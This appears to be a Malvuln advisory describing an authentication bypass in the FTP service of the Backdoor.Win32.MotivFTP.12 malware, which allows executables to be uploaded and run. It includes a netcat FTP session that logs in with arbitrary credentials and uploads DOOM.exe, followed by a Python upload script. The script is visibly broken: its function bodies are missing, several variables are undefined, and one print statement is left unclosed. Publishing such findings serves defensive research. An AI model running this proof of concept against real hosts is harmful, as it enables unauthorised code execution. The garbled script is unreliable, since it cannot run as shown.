Backdoor.Win32.MotivFTP.12 Authentication Bypass / Code Execution

Backdoor.Win32.MotivFTP.12 malware suffers from bypass and code execution vulnerabilities.

MD5 | 7cbb3a951f83b7636cd7f2c1f5b4b62d

Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.MotivFTP.12
Vulnerability: Authentication Bypass RCE
Description: The malware listens on TCP port 21. Third-party attackers who can reach the system can logon using any username/password combination. Attackers may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Type: PE32
MD5: 88785a093b8fa00893214dd220ac255d
Vuln ID: MVID-2021-0203
Disclosure: 05/07/2021

1) logon as any user

nc64.exe 21
220 FTP Server ready
USER mal
331 Password required for mal.
PASS vuln
230 User mal logged in.
215 UNIX Type: L8 Internet Component Suite
227 Entering Passive Mode (192,168,88,127,195,34).
150 Opening data connection for DOOM.exe.
226 File received ok

2) calculate port and run upload script

from socket import *

DOOM="DOOM.exe" #Calculate the port 195*256+34 = 49954

def doit():
s.connect((MALWARE_HOST, PORT))

f = open(DOOM, "rb")

while EXE:


print("Backdoor.Win32.MotivFTP.12 / Authentication Bypass RCE")
print("MD5: 88785a093b8fa00893214dd220ac255d"
print("By Malvuln");

if __name__=="__main__":

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